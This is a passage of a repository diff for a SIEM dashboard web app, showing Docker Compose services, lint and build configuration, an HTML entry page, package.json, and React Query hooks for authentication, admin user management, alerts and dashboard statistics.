||||
ports:
|
||||
- "${FRONTEND_HOST_PORT:-3959}:5173"
|
||||
volumes:
|
||||
- ./frontend:/app
|
||||
environment:
|
||||
- VITE_API_URL=${VITE_API_URL:-/api}
|
||||
networks:
|
||||
- frontend
|
||||
restart: unless-stopped
|
||||
|
||||
mongo:
|
||||
image: mongo:8.0
|
||||
container_name: ${APP_NAME:-siem}-mongo-dev
|
||||
ports:
|
||||
- "${MONGO_HOST_PORT:-8654}:27017"
|
||||
volumes:
|
||||
- mongo_data:/data/db
|
||||
networks:
|
||||
- backend
|
||||
healthcheck:
|
||||
test: ["CMD", "mongosh", "--eval", "db.adminCommand('ping')"]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
start_period: 30s
|
||||
restart: unless-stopped
|
||||
|
||||
redis:
|
||||
image: redis:7-alpine
|
||||
container_name: ${APP_NAME:-siem}-redis-dev
|
||||
ports:
|
||||
- "${REDIS_HOST_PORT:-6266}:6379"
|
||||
volumes:
|
||||
- redis_data:/data
|
||||
command: redis-server --appendonly yes
|
||||
networks:
|
||||
- backend
|
||||
healthcheck:
|
||||
test: ["CMD", "redis-cli", "ping"]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
restart: unless-stopped
|
||||
|
||||
networks:
|
||||
frontend:
|
||||
driver: bridge
|
||||
ipam:
|
||||
config:
|
||||
- subnet: 10.201.71.0/24
|
||||
backend:
|
||||
driver: bridge
|
||||
ipam:
|
||||
config:
|
||||
- subnet: 10.201.72.0/24
|
||||
|
||||
volumes:
|
||||
mongo_data:
|
||||
redis_data:
|
||||
|
After Width: | Height: | Size: 85 KiB |
|
After Width: | Height: | Size: 132 KiB |
|
After Width: | Height: | Size: 59 KiB |
|
After Width: | Height: | Size: 62 KiB |
|
After Width: | Height: | Size: 125 KiB |
|
|
@ -0,0 +1,18 @@
|
|||
# ©AngelaMos | 2026
|
||||
# .gitignore
|
||||
|
||||
.env
|
||||
__pycache__/
|
||||
*.pyc
|
||||
.venv/
|
||||
*.egg-info/
|
||||
dist/
|
||||
build/
|
||||
.mypy_cache/
|
||||
.ruff_cache/
|
||||
.pytest_cache/
|
||||
node_modules/
|
||||
frontend/dist/
|
||||
.DS_Store
|
||||
/frontend/.pnpm-store
|
||||
.pnpm-store
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
# ©AngelaMos | 2025
|
||||
# .stylelintignore
|
||||
|
||||
# Dependencies
|
||||
node_modules/
|
||||
|
||||
# Production builds
|
||||
dist/
|
||||
build/
|
||||
out/
|
||||
|
||||
# JS/TS files
|
||||
**/*.js
|
||||
**/*.jsx
|
||||
**/*.ts
|
||||
**/*.tsx
|
||||
|
||||
# Generated files
|
||||
*.min.css
|
||||
|
||||
# Error system styles - ignore from linting
|
||||
src/core/app/_toastStyles.scss
|
||||
|
|
@ -0,0 +1,94 @@
|
|||
{
|
||||
"$schema": "https://biomejs.dev/schemas/2.3.14/schema.json",
|
||||
"vcs": {
|
||||
"enabled": true,
|
||||
"clientKind": "git",
|
||||
"useIgnoreFile": true
|
||||
},
|
||||
"files": {
|
||||
"includes": ["**/*.ts", "**/*.tsx", "**/*.js", "**/*.jsx", "**/*.json"]
|
||||
},
|
||||
"formatter": {
|
||||
"enabled": true,
|
||||
"indentStyle": "space",
|
||||
"indentWidth": 2,
|
||||
"lineWidth": 82,
|
||||
"lineEnding": "lf"
|
||||
},
|
||||
"javascript": {
|
||||
"formatter": {
|
||||
"quoteStyle": "single",
|
||||
"jsxQuoteStyle": "double",
|
||||
"semicolons": "asNeeded",
|
||||
"trailingCommas": "es5",
|
||||
"arrowParentheses": "always"
|
||||
}
|
||||
},
|
||||
"linter": {
|
||||
"enabled": true,
|
||||
"rules": {
|
||||
"recommended": true,
|
||||
"complexity": {
|
||||
"noExcessiveCognitiveComplexity": {
|
||||
"level": "error",
|
||||
"options": { "maxAllowedComplexity": 25 }
|
||||
},
|
||||
"noForEach": "off",
|
||||
"useLiteralKeys": "off"
|
||||
},
|
||||
"correctness": {
|
||||
"noUnusedVariables": "error",
|
||||
"noUnusedImports": "error",
|
||||
"useExhaustiveDependencies": "warn",
|
||||
"useHookAtTopLevel": "error",
|
||||
"noUndeclaredVariables": "error"
|
||||
},
|
||||
"style": {
|
||||
"useImportType": "error",
|
||||
"useConst": "error",
|
||||
"useTemplate": "error",
|
||||
"useSelfClosingElements": "error",
|
||||
"useFragmentSyntax": "error",
|
||||
"noNonNullAssertion": "error",
|
||||
"useConsistentArrayType": {
|
||||
"level": "error",
|
||||
"options": { "syntax": "shorthand" }
|
||||
},
|
||||
"useNamingConvention": "off"
|
||||
},
|
||||
"suspicious": {
|
||||
"noExplicitAny": "error",
|
||||
"noDebugger": "error",
|
||||
"noConsole": "warn",
|
||||
"noArrayIndexKey": "off",
|
||||
"noAssignInExpressions": "error",
|
||||
"noDoubleEquals": "error",
|
||||
"noRedeclare": "error",
|
||||
"noVar": "error"
|
||||
},
|
||||
"security": {
|
||||
"noDangerouslySetInnerHtml": "error"
|
||||
},
|
||||
"a11y": {
|
||||
"useAltText": "error",
|
||||
"useAnchorContent": "error",
|
||||
"useKeyWithClickEvents": "error",
|
||||
"noStaticElementInteractions": "error",
|
||||
"useButtonType": "error",
|
||||
"useValidAnchor": "error"
|
||||
}
|
||||
}
|
||||
},
|
||||
"overrides": [
|
||||
{
|
||||
"includes": ["src/main.tsx"],
|
||||
"linter": {
|
||||
"rules": {
|
||||
"style": {
|
||||
"noNonNullAssertion": "off"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
@ -0,0 +1,48 @@
|
|||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<!--
|
||||
SIEM Dashboard
|
||||
Author(s): © AngelaMos
|
||||
-->
|
||||
<meta charset="UTF-8" />
|
||||
<link
|
||||
rel="icon"
|
||||
type="image/x-icon"
|
||||
href="/assets/favicon.ico"
|
||||
/>
|
||||
<link
|
||||
rel="apple-touch-icon"
|
||||
type="image/png"
|
||||
href="/assets/apple-touch-icon.png"
|
||||
/>
|
||||
<link
|
||||
rel="manifest"
|
||||
href="/assets/site.webmanifest"
|
||||
/>
|
||||
<meta
|
||||
name="viewport"
|
||||
content="width=device-width, initial-scale=1.0"
|
||||
/>
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
content="default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: blob:; font-src 'self'; connect-src 'self' github.com api.github.com ws: wss: webpack:; form-action 'self' github.com; worker-src 'self' blob:;"
|
||||
/>
|
||||
<title>SIEM Dashboard</title>
|
||||
<meta
|
||||
name="description"
|
||||
content="*Cracked*"
|
||||
/>
|
||||
<meta
|
||||
name="author"
|
||||
content="Security Information and Event Management Dashboard"
|
||||
/>
|
||||
</head>
|
||||
<body>
|
||||
<div id="root"></div>
|
||||
<script
|
||||
type="module"
|
||||
src="/src/main.tsx"
|
||||
></script>
|
||||
</body>
|
||||
</html>
|
||||
|
|
@ -0,0 +1,61 @@
|
|||
{
|
||||
"name": "siem-dashboard",
|
||||
"private": true,
|
||||
"version": "1.0.0",
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"dev": "vite",
|
||||
"build": "tsc -b && vite build",
|
||||
"preview": "vite preview",
|
||||
"lint": "biome check .",
|
||||
"lint:fix": "biome check --write .",
|
||||
"format": "biome format --write .",
|
||||
"typecheck": "tsc -b",
|
||||
"lint:scss": "stylelint '**/*.scss'",
|
||||
"lint:scss:fix": "stylelint '**/*.scss' --fix"
|
||||
},
|
||||
"dependencies": {
|
||||
"@tanstack/react-query": "^5.90.20",
|
||||
"@visx/curve": "^3.12.0",
|
||||
"@visx/group": "^3.12.0",
|
||||
"@visx/responsive": "^3.12.0",
|
||||
"@visx/shape": "^3.12.0",
|
||||
"@visx/xychart": "^3.12.0",
|
||||
"axios": "^1.13.5",
|
||||
"react": "^19.2.4",
|
||||
"react-dom": "^19.2.4",
|
||||
"react-error-boundary": "^6.1.0",
|
||||
"react-icons": "^5.5.0",
|
||||
"react-router-dom": "^7.13.0",
|
||||
"sonner": "^2.0.7",
|
||||
"zod": "^4.3.6",
|
||||
"zustand": "^5.0.11"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@biomejs/biome": "^2.3.14",
|
||||
"@biomejs/cli-linux-x64": "^2.3.14",
|
||||
"@tanstack/react-query-devtools": "^5.91.3",
|
||||
"@types/node": "^25.2.2",
|
||||
"@types/react": "^19.2.13",
|
||||
"@types/react-dom": "^19.2.3",
|
||||
"@vitejs/plugin-react": "^5.1.3",
|
||||
"sass": "^1.97.3",
|
||||
"stylelint": "^17.1.1",
|
||||
"stylelint-config-prettier-scss": "^1.0.0",
|
||||
"stylelint-config-standard-scss": "^17.0.0",
|
||||
"typescript": "~5.9.3",
|
||||
"vite": "npm:rolldown-vite@7.3.1",
|
||||
"vite-tsconfig-paths": "^6.1.0"
|
||||
},
|
||||
"pnpm": {
|
||||
"overrides": {
|
||||
"vite": "npm:rolldown-vite@7.2.5"
|
||||
},
|
||||
"peerDependencyRules": {
|
||||
"allowAny": [
|
||||
"react",
|
||||
"react-dom"
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
After Width: | Height: | Size: 25 KiB |
|
After Width: | Height: | Size: 142 KiB |
|
After Width: | Height: | Size: 23 KiB |
|
After Width: | Height: | Size: 532 B |
|
After Width: | Height: | Size: 1.3 KiB |
|
After Width: | Height: | Size: 15 KiB |
|
|
@ -0,0 +1 @@
|
|||
{"name":"","short_name":"","icons":[{"src":"/android-chrome-192x192.png","sizes":"192x192","type":"image/png"},{"src":"/android-chrome-512x512.png","sizes":"512x512","type":"image/png"}],"theme_color":"#ffffff","background_color":"#ffffff","display":"standalone"}
|
||||
|
|
@ -0,0 +1,34 @@
|
|||
// ===================
|
||||
// ©AngelaMos | 2026
|
||||
// App.tsx
|
||||
// ===================
|
||||
|
||||
import { QueryClientProvider } from '@tanstack/react-query'
|
||||
import { ReactQueryDevtools } from '@tanstack/react-query-devtools'
|
||||
import { RouterProvider } from 'react-router-dom'
|
||||
import { Toaster } from 'sonner'
|
||||
import { router } from '@/core/app/router'
|
||||
import { queryClient } from '@/core/lib'
|
||||
|
||||
export default function App(): React.ReactElement {
|
||||
return (
|
||||
<QueryClientProvider client={queryClient}>
|
||||
<div className="app">
|
||||
<RouterProvider router={router} />
|
||||
<Toaster
|
||||
position="top-right"
|
||||
duration={2000}
|
||||
theme="dark"
|
||||
toastOptions={{
|
||||
style: {
|
||||
background: 'hsl(0, 0%, 12.2%)',
|
||||
border: '1px solid hsl(0, 0%, 18%)',
|
||||
color: 'hsl(0, 0%, 98%)',
|
||||
},
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
<ReactQueryDevtools initialIsOpen={false} />
|
||||
</QueryClientProvider>
|
||||
)
|
||||
}
|
||||
|
|
@ -0,0 +1,13 @@
|
|||
// ===================
|
||||
// ©AngelaMos | 2026
|
||||
// index.ts
|
||||
// ===================
|
||||
|
||||
export * from './useAdmin'
|
||||
export * from './useAlerts'
|
||||
export * from './useAuth'
|
||||
export * from './useDashboard'
|
||||
export * from './useEventStream'
|
||||
export * from './useLogs'
|
||||
export * from './useRules'
|
||||
export * from './useScenarios'
|
||||
|
|
@ -0,0 +1,159 @@
|
|||
// ===================
|
||||
// ©AngelaMos | 2026
|
||||
// useAdmin.ts
|
||||
// ===================
|
||||
|
||||
import {
|
||||
type UseMutationResult,
|
||||
type UseQueryResult,
|
||||
useMutation,
|
||||
useQuery,
|
||||
useQueryClient,
|
||||
} from '@tanstack/react-query'
|
||||
import { toast } from 'sonner'
|
||||
import type {
|
||||
AdminUpdateRoleRequest,
|
||||
AdminUserListParams,
|
||||
DeleteResponse,
|
||||
PaginatedResponse,
|
||||
UserResponse,
|
||||
} from '@/api/types'
|
||||
import { ADMIN_SUCCESS_MESSAGES } from '@/api/types/admin.types'
|
||||
import { API_ENDPOINTS, PAGINATION, QUERY_KEYS } from '@/config'
|
||||
import { apiClient } from '@/core/lib'
|
||||
|
||||
export const adminQueries = {
|
||||
all: () => QUERY_KEYS.ADMIN.ALL,
|
||||
users: (page: number, size: number) => QUERY_KEYS.ADMIN.USERS(page, size),
|
||||
userById: (id: string) => QUERY_KEYS.ADMIN.USER_BY_ID(id),
|
||||
} as const
|
||||
|
||||
export const useAdminUsers = (
|
||||
params: AdminUserListParams = {}
|
||||
): UseQueryResult<PaginatedResponse<UserResponse>, Error> => {
|
||||
const page = params.page ?? PAGINATION.DEFAULT_PAGE
|
||||
const perPage = params.per_page ?? PAGINATION.DEFAULT_SIZE
|
||||
|
||||
return useQuery({
|
||||
queryKey: adminQueries.users(page, perPage),
|
||||
queryFn: async () => {
|
||||
const response = await apiClient.get<PaginatedResponse<UserResponse>>(
|
||||
API_ENDPOINTS.ADMIN.USERS,
|
||||
{ params }
|
||||
)
|
||||
return response.data
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
export const useAdminUser = (
|
||||
userId: string
|
||||
): UseQueryResult<UserResponse, Error> => {
|
||||
return useQuery({
|
||||
queryKey: adminQueries.userById(userId),
|
||||
queryFn: async () => {
|
||||
const response = await apiClient.get<UserResponse>(
|
||||
API_ENDPOINTS.ADMIN.USER_BY_ID(userId)
|
||||
)
|
||||
return response.data
|
||||
},
|
||||
enabled: userId.length > 0,
|
||||
})
|
||||
}
|
||||
|
||||
export const useAdminUpdateRole = (): UseMutationResult<
|
||||
UserResponse,
|
||||
Error,
|
||||
{ userId: string; payload: AdminUpdateRoleRequest }
|
||||
> => {
|
||||
const queryClient = useQueryClient()
|
||||
|
||||
return useMutation({
|
||||
mutationFn: async ({ userId, payload }) => {
|
||||
const response = await apiClient.patch<UserResponse>(
|
||||
API_ENDPOINTS.ADMIN.USER_ROLE(userId),
|
||||
payload
|
||||
)
|
||||
return response.data
|
||||
},
|
||||
onSuccess: (data: UserResponse): void => {
|
||||
queryClient.invalidateQueries({ queryKey: adminQueries.all() })
|
||||
toast.success(ADMIN_SUCCESS_MESSAGES.ROLE_UPDATED(data.username, data.role))
|
||||
},
|
||||
onError: (error: Error): void => {
|
||||
toast.error(error.message)
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
export const useAdminDeactivateUser = (): UseMutationResult<
|
||||
UserResponse,
|
||||
Error,
|
||||
string
|
||||
> => {
|
||||
const queryClient = useQueryClient()
|
||||
|
||||
return useMutation({
|
||||
mutationFn: async (userId: string) => {
|
||||
const response = await apiClient.post<UserResponse>(
|
||||
API_ENDPOINTS.ADMIN.DEACTIVATE(userId)
|
||||
)
|
||||
return response.data
|
||||
},
|
||||
onSuccess: (data: UserResponse): void => {
|
||||
queryClient.invalidateQueries({ queryKey: adminQueries.all() })
|
||||
toast.success(ADMIN_SUCCESS_MESSAGES.USER_DEACTIVATED(data.username))
|
||||
},
|
||||
onError: (error: Error): void => {
|
||||
toast.error(error.message)
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
export const useAdminActivateUser = (): UseMutationResult<
|
||||
UserResponse,
|
||||
Error,
|
||||
string
|
||||
> => {
|
||||
const queryClient = useQueryClient()
|
||||
|
||||
return useMutation({
|
||||
mutationFn: async (userId: string) => {
|
||||
const response = await apiClient.post<UserResponse>(
|
||||
API_ENDPOINTS.ADMIN.ACTIVATE(userId)
|
||||
)
|
||||
return response.data
|
||||
},
|
||||
onSuccess: (data: UserResponse): void => {
|
||||
queryClient.invalidateQueries({ queryKey: adminQueries.all() })
|
||||
toast.success(ADMIN_SUCCESS_MESSAGES.USER_ACTIVATED(data.username))
|
||||
},
|
||||
onError: (error: Error): void => {
|
||||
toast.error(error.message)
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
export const useAdminDeleteUser = (): UseMutationResult<
|
||||
DeleteResponse,
|
||||
Error,
|
||||
string
|
||||
> => {
|
||||
const queryClient = useQueryClient()
|
||||
|
||||
return useMutation({
|
||||
mutationFn: async (userId: string) => {
|
||||
const response = await apiClient.delete<DeleteResponse>(
|
||||
API_ENDPOINTS.ADMIN.USER_BY_ID(userId)
|
||||
)
|
||||
return response.data
|
||||
},
|
||||
onSuccess: (): void => {
|
||||
queryClient.invalidateQueries({ queryKey: adminQueries.all() })
|
||||
toast.success(ADMIN_SUCCESS_MESSAGES.USER_DELETED)
|
||||
},
|
||||
onError: (error: Error): void => {
|
||||
toast.error(error.message)
|
||||
},
|
||||
})
|
||||
}
|
||||
|
|
@ -0,0 +1,85 @@
|
|||
// ===================
|
||||
// ©AngelaMos | 2026
|
||||
// useAlerts.ts
|
||||
// ===================
|
||||
|
||||
import {
|
||||
type UseMutationResult,
|
||||
type UseQueryResult,
|
||||
useMutation,
|
||||
useQuery,
|
||||
useQueryClient,
|
||||
} from '@tanstack/react-query'
|
||||
import { toast } from 'sonner'
|
||||
import type {
|
||||
Alert,
|
||||
AlertDetail,
|
||||
AlertQueryParams,
|
||||
AlertStatusUpdateRequest,
|
||||
PaginatedResponse,
|
||||
} from '@/api/types'
|
||||
import { API_ENDPOINTS, PAGINATION, QUERY_KEYS } from '@/config'
|
||||
import { apiClient, QUERY_STRATEGIES } from '@/core/lib'
|
||||
|
||||
export const alertQueries = {
|
||||
all: () => QUERY_KEYS.ALERTS.ALL,
|
||||
list: (page: number, size: number) => QUERY_KEYS.ALERTS.LIST(page, size),
|
||||
byId: (id: string) => QUERY_KEYS.ALERTS.BY_ID(id),
|
||||
} as const
|
||||
|
||||
export const useAlerts = (
|
||||
params: AlertQueryParams = {}
|
||||
): UseQueryResult<PaginatedResponse<Alert>, Error> => {
|
||||
const page = params.page ?? PAGINATION.DEFAULT_PAGE
|
||||
const perPage = params.per_page ?? PAGINATION.DEFAULT_SIZE
|
||||
|
||||
return useQuery({
|
||||
queryKey: alertQueries.list(page, perPage),
|
||||
queryFn: async () => {
|
||||
const response = await apiClient.get<PaginatedResponse<Alert>>(
|
||||
API_ENDPOINTS.ALERTS.LIST,
|
||||
{ params }
|
||||
)
|
||||
return response.data
|
||||
},
|
||||
...QUERY_STRATEGIES.frequent,
|
||||
})
|
||||
}
|
||||
|
||||
export const useAlertDetail = (
|
||||
alertId: string
|
||||
): UseQueryResult<AlertDetail, Error> => {
|
||||
return useQuery({
|
||||
queryKey: alertQueries.byId(alertId),
|
||||
queryFn: async () => {
|
||||
const response = await apiClient.get<AlertDetail>(
|
||||
API_ENDPOINTS.ALERTS.BY_ID(alertId)
|
||||
)
|
||||
return response.data
|
||||
},
|
||||
enabled: alertId.length > 0,
|
||||
})
|
||||
}
|
||||
|
||||
export const useUpdateAlertStatus = (
|
||||
alertId: string
|
||||
): UseMutationResult<Alert, Error, AlertStatusUpdateRequest> => {
|
||||
const queryClient = useQueryClient()
|
||||
|
||||
return useMutation({
|
||||
mutationFn: async (payload: AlertStatusUpdateRequest) => {
|
||||
const response = await apiClient.patch<Alert>(
|
||||
API_ENDPOINTS.ALERTS.STATUS(alertId),
|
||||
payload
|
||||
)
|
||||
return response.data
|
||||
},
|
||||
onSuccess: (): void => {
|
||||
queryClient.invalidateQueries({ queryKey: alertQueries.all() })
|
||||
toast.success('Alert status updated')
|
||||
},
|
||||
onError: (error: Error): void => {
|
||||
toast.error(error.message)
|
||||
},
|
||||
})
|
||||
}
|
||||
|
|
@ -0,0 +1,226 @@
|
|||
// ===================
|
||||
// ©AngelaMos | 2026
|
||||
// useAuth.ts
|
||||
// ===================
|
||||
|
||||
import {
|
||||
type UseMutationResult,
|
||||
type UseQueryResult,
|
||||
useMutation,
|
||||
useQuery,
|
||||
useQueryClient,
|
||||
} from '@tanstack/react-query'
|
||||
import { toast } from 'sonner'
|
||||
import {
|
||||
AUTH_ERROR_MESSAGES,
|
||||
AUTH_SUCCESS_MESSAGES,
|
||||
AuthResponseError,
|
||||
isValidTokenResponse,
|
||||
isValidUpdateProfileResponse,
|
||||
isValidUserResponse,
|
||||
type LoginRequest,
|
||||
type RegisterRequest,
|
||||
type TokenResponse,
|
||||
type UpdateProfileRequest,
|
||||
type UpdateProfileResponse,
|
||||
type UserResponse,
|
||||
} from '@/api/types'
|
||||
import { API_ENDPOINTS, QUERY_KEYS, ROUTES } from '@/config'
|
||||
import { apiClient, QUERY_STRATEGIES } from '@/core/lib'
|
||||
import { useAuthStore } from '@/core/stores'
|
||||
|
||||
export const authQueries = {
|
||||
all: () => QUERY_KEYS.AUTH.ALL,
|
||||
me: () => QUERY_KEYS.AUTH.ME(),
|
||||
} as const
|
||||
|
||||
const fetchCurrentUser = async (): Promise<UserResponse> => {
|
||||
const response = await apiClient.get<unknown>(API_ENDPOINTS.AUTH.ME)
|
||||
const data: unknown = response.data
|
||||
|
||||
if (!isValidUserResponse(data)) {
|
||||
throw new AuthResponseError(
|
||||
AUTH_ERROR_MESSAGES.INVALID_USER_RESPONSE,
|
||||
API_ENDPOINTS.AUTH.ME
|
||||
)
|
||||
}
|
||||
|
||||
return data
|
||||
}
|
||||
|
||||
export const useCurrentUser = (): UseQueryResult<UserResponse, Error> => {
|
||||
const isAuthenticated = useAuthStore((s) => s.isAuthenticated)
|
||||
|
||||
return useQuery({
|
||||
queryKey: authQueries.me(),
|
||||
queryFn: fetchCurrentUser,
|
||||
enabled: isAuthenticated,
|
||||
...QUERY_STRATEGIES.auth,
|
||||
})
|
||||
}
|
||||
|
||||
const performLogin = async (
|
||||
credentials: LoginRequest
|
||||
): Promise<TokenResponse> => {
|
||||
const response = await apiClient.post<unknown>(
|
||||
API_ENDPOINTS.AUTH.LOGIN,
|
||||
credentials
|
||||
)
|
||||
const data: unknown = response.data
|
||||
|
||||
if (!isValidTokenResponse(data)) {
|
||||
throw new AuthResponseError(
|
||||
AUTH_ERROR_MESSAGES.INVALID_LOGIN_RESPONSE,
|
||||
API_ENDPOINTS.AUTH.LOGIN
|
||||
)
|
||||
}
|
||||
|
||||
return data
|
||||
}
|
||||
|
||||
export const useLogin = (): UseMutationResult<
|
||||
TokenResponse,
|
||||
Error,
|
||||
LoginRequest
|
||||
> => {
|
||||
const queryClient = useQueryClient()
|
||||
const login = useAuthStore((s) => s.login)
|
||||
|
||||
return useMutation({
|
||||
mutationFn: performLogin,
|
||||
onSuccess: async (data: TokenResponse): Promise<void> => {
|
||||
useAuthStore.getState().setAccessToken(data.access_token)
|
||||
|
||||
const userResponse = await apiClient.get<unknown>(API_ENDPOINTS.AUTH.ME)
|
||||
const userData: unknown = userResponse.data
|
||||
|
||||
if (!isValidUserResponse(userData)) {
|
||||
throw new AuthResponseError(
|
||||
AUTH_ERROR_MESSAGES.INVALID_USER_RESPONSE,
|
||||
API_ENDPOINTS.AUTH.ME
|
||||
)
|
||||
}
|
||||
|
||||
login(userData, data.access_token)
|
||||
queryClient.setQueryData(authQueries.me(), userData)
|
||||
toast.success(AUTH_SUCCESS_MESSAGES.WELCOME_BACK(userData.username))
|
||||
},
|
||||
onError: (error: Error): void => {
|
||||
const message =
|
||||
error instanceof AuthResponseError ? error.message : 'Login failed'
|
||||
toast.error(message)
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
const performRegister = async (
|
||||
payload: RegisterRequest
|
||||
): Promise<TokenResponse> => {
|
||||
const response = await apiClient.post<unknown>(
|
||||
API_ENDPOINTS.AUTH.REGISTER,
|
||||
payload
|
||||
)
|
||||
const data: unknown = response.data
|
||||
|
||||
if (!isValidTokenResponse(data)) {
|
||||
throw new AuthResponseError(
|
||||
AUTH_ERROR_MESSAGES.INVALID_TOKEN_RESPONSE,
|
||||
API_ENDPOINTS.AUTH.REGISTER
|
||||
)
|
||||
}
|
||||
|
||||
return data
|
||||
}
|
||||
|
||||
export const useRegister = (): UseMutationResult<
|
||||
TokenResponse,
|
||||
Error,
|
||||
RegisterRequest
|
||||
> => {
|
||||
const queryClient = useQueryClient()
|
||||
const login = useAuthStore((s) => s.login)
|
||||
|
||||
return useMutation({
|
||||
mutationFn: performRegister,
|
||||
onSuccess: async (data: TokenResponse): Promise<void> => {
|
||||
useAuthStore.getState().setAccessToken(data.access_token)
|
||||
|
||||
const userResponse = await apiClient.get<unknown>(API_ENDPOINTS.AUTH.ME)
|
||||
const userData: unknown = userResponse.data
|
||||
|
||||
if (!isValidUserResponse(userData)) {
|
||||
throw new AuthResponseError(
|
||||
AUTH_ERROR_MESSAGES.INVALID_USER_RESPONSE,
|
||||
API_ENDPOINTS.AUTH.ME
|
||||
)
|
||||
}
|
||||
|
||||
login(userData, data.access_token)
|
||||
queryClient.setQueryData(authQueries.me(), userData)
|
||||
toast.success(AUTH_SUCCESS_MESSAGES.REGISTERED)
|
||||
},
|
||||
onError: (error: Error): void => {
|
||||
const message =
|
||||
error instanceof AuthResponseError ? error.message : 'Registration failed'
|
||||
toast.error(message)
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
export const useUpdateProfile = (): UseMutationResult<
|
||||
UpdateProfileResponse,
|
||||
Error,
|
||||
UpdateProfileRequest
|
||||
> => {
|
||||
const queryClient = useQueryClient()
|
||||
const updateUser = useAuthStore((s) => s.updateUser)
|
||||
|
||||
return useMutation({
|
||||
mutationFn: async (
|
||||
payload: UpdateProfileRequest
|
||||
): Promise<UpdateProfileResponse> => {
|
||||
const response = await apiClient.patch<unknown>(
|
||||
API_ENDPOINTS.AUTH.UPDATE_PROFILE,
|
||||
payload
|
||||
)
|
||||
const data: unknown = response.data
|
||||
|
||||
if (!isValidUpdateProfileResponse(data)) {
|
||||
throw new AuthResponseError(
|
||||
AUTH_ERROR_MESSAGES.INVALID_USER_RESPONSE,
|
||||
API_ENDPOINTS.AUTH.UPDATE_PROFILE
|
||||
)
|
||||
}
|
||||
|
||||
return data
|
||||
},
|
||||
onSuccess: (data: UpdateProfileResponse): void => {
|
||||
updateUser(data.user)
|
||||
|
||||
if (data.access_token !== undefined) {
|
||||
useAuthStore.getState().setAccessToken(data.access_token)
|
||||
}
|
||||
|
||||
queryClient.setQueryData(authQueries.me(), data.user)
|
||||
toast.success(AUTH_SUCCESS_MESSAGES.PROFILE_UPDATED)
|
||||
},
|
||||
onError: (error: Error): void => {
|
||||
toast.error(error.message)
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
export const useLogout = (): UseMutationResult<void, Error, void> => {
|
||||
const queryClient = useQueryClient()
|
||||
const logout = useAuthStore((s) => s.logout)
|
||||
|
||||
return useMutation({
|
||||
mutationFn: async (): Promise<void> => {},
|
||||
onSuccess: (): void => {
|
||||
logout()
|
||||
queryClient.removeQueries({ queryKey: authQueries.all() })
|
||||
toast.success(AUTH_SUCCESS_MESSAGES.LOGOUT_SUCCESS)
|
||||
window.location.href = ROUTES.LOGIN
|
||||
},
|
||||
})
|
||||
}
|
||||
|
|
@ -0,0 +1,87 @@
|
|||
// ===================
|
||||
// ©AngelaMos | 2026
|
||||
// useDashboard.ts
|
||||
// ===================
|
||||
|
||||
import type { UseQueryResult } from '@tanstack/react-query'
|
||||
import { useQuery } from '@tanstack/react-query'
|
||||
import type {
|
||||
DashboardOverview,
|
||||
SeverityCount,
|
||||
TimelineBucket,
|
||||
TopSource,
|
||||
} from '@/api/types'
|
||||
import { API_ENDPOINTS, QUERY_KEYS } from '@/config'
|
||||
import { apiClient, QUERY_STRATEGIES } from '@/core/lib'
|
||||
|
||||
export const dashboardQueries = {
|
||||
all: () => QUERY_KEYS.DASHBOARD.ALL,
|
||||
overview: () => QUERY_KEYS.DASHBOARD.OVERVIEW(),
|
||||
timeline: (hours: number, bucket: number) =>
|
||||
QUERY_KEYS.DASHBOARD.TIMELINE(hours, bucket),
|
||||
severity: () => QUERY_KEYS.DASHBOARD.SEVERITY(),
|
||||
topSources: (limit: number) => QUERY_KEYS.DASHBOARD.TOP_SOURCES(limit),
|
||||
} as const
|
||||
|
||||
export const useDashboardOverview = (): UseQueryResult<
|
||||
DashboardOverview,
|
||||
Error
|
||||
> => {
|
||||
return useQuery({
|
||||
queryKey: dashboardQueries.overview(),
|
||||
queryFn: async () => {
|
||||
const response = await apiClient.get<DashboardOverview>(
|
||||
API_ENDPOINTS.DASHBOARD.OVERVIEW
|
||||
)
|
||||
return response.data
|
||||
},
|
||||
...QUERY_STRATEGIES.dashboard,
|
||||
})
|
||||
}
|
||||
|
||||
export const useTimeline = (
|
||||
hours = 24,
|
||||
bucketMinutes = 15
|
||||
): UseQueryResult<TimelineBucket[], Error> => {
|
||||
return useQuery({
|
||||
queryKey: dashboardQueries.timeline(hours, bucketMinutes),
|
||||
queryFn: async () => {
|
||||
const response = await apiClient.get<TimelineBucket[]>(
|
||||
API_ENDPOINTS.DASHBOARD.TIMELINE,
|
||||
{ params: { hours, bucket_minutes: bucketMinutes } }
|
||||
)
|
||||
return response.data
|
||||
},
|
||||
...QUERY_STRATEGIES.dashboard,
|
||||
})
|
||||
}
|
||||
|
||||
export const useSeverityBreakdown = (): UseQueryResult<
|
||||
SeverityCount[],
|
||||
Error
|
||||
> => {
|
||||
return useQuery({
|
||||
queryKey: dashboardQueries.severity(),
|
||||
queryFn: async () => {
|
||||
const response = await apiClient.get<SeverityCount[]>(
|
||||
API_ENDPOINTS.DASHBOARD.SEVERITY
|
||||
)
|
||||
return response.data
|
||||
},
|
||||
...QUERY_STRATEGIES.dashboard,
|
||||
})
|
||||
}
|
||||
|
||||
export const useTopSources = (limit = 10): UseQueryResult<TopSource[], Error> => {
|
||||
return useQuery({
|
||||
queryKey: dashboardQueries.topSources(limit),
|
||||
queryFn: async () => {
|
||||
const response = await apiClient.get<TopSource[]>(
|
||||
API_ENDPOINTS.DASHBOARD.TOP_SOURCES,
|
||||
{ params: { limit } }
|
||||
)
|
||||
return response.data
|
||||
},
|
||||
